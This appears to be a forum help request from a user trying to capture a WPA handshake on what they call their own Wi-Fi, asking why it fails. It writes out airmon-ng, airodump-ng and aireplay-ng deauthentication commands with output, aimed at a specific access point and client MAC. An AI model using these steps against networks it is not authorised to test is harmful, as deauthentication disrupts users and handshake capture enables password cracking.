I Got No Handshake with Aircrack or Cowpatty Please Help

First of all I got Bugtraq 2 Black Widow on Ubuntu 12.04.02.

I want to crack my own Wifi but i got no handshake. I did this:

> iwconfig

output: lo no wireless extensions.

virbr0 no wireless extensions.

I got a connection with the Ap i want to crack with wlan0,

Wlan1 is the Alfa Awus036h usb adapter with an rtl8187 chipset i use to hack.

>sudo airmon-ng

output:

Interface Chipset Driver

wlan1 RTL8187 rtl8187 - phy3

wlan0 Atheros ath9k - phy0

> sudo airmon-ng start wlan1

output:

Found 5 processes that could cause trouble.

If airodump-ng, aireplay-ng or airtun-ng stops working after

a short period of time, you may want to kill (some of) them!

-e

>sudo airodump-ng mon0

Output

so second terminal:

>sudo airodump-ng --bssid 34:CD:BE:BB:D2:C0 -c 6 --write WPAcrack mon0

output:

sudo aireplay-ng --deauth 100 -a 34:CD:BE:BB:D2:C0 -c B4:52:7D:3A:74:0A mon0

output:

14:22:02 Waiting for beacon frame (BSSID: 34:CD:BE:BB:D2:C0) on channel 6

14:22:02 Sending 64 directed DeAuth. STMAC: B4:52:7D:3A:74:0A 1|60 ACKs

14:22:05 Sending 64 directed DeAuth. STMAC: B4:52:7D:3A:74:0A 0|58 ACKs

-a is the bssid of the AP and -c a linked mac adress because its more effective.

Thats it!

Also after 1 Hour and resending the deauth signal i got no handshake ind i dont know why.

Must i install an driver or something? The deauth signal dosnt work with the atheros wlan0, the injection test with wlan1 says it is able to inject packets, wlan1 is the Alfa Awus036h rtl8187

Thank you for the help!
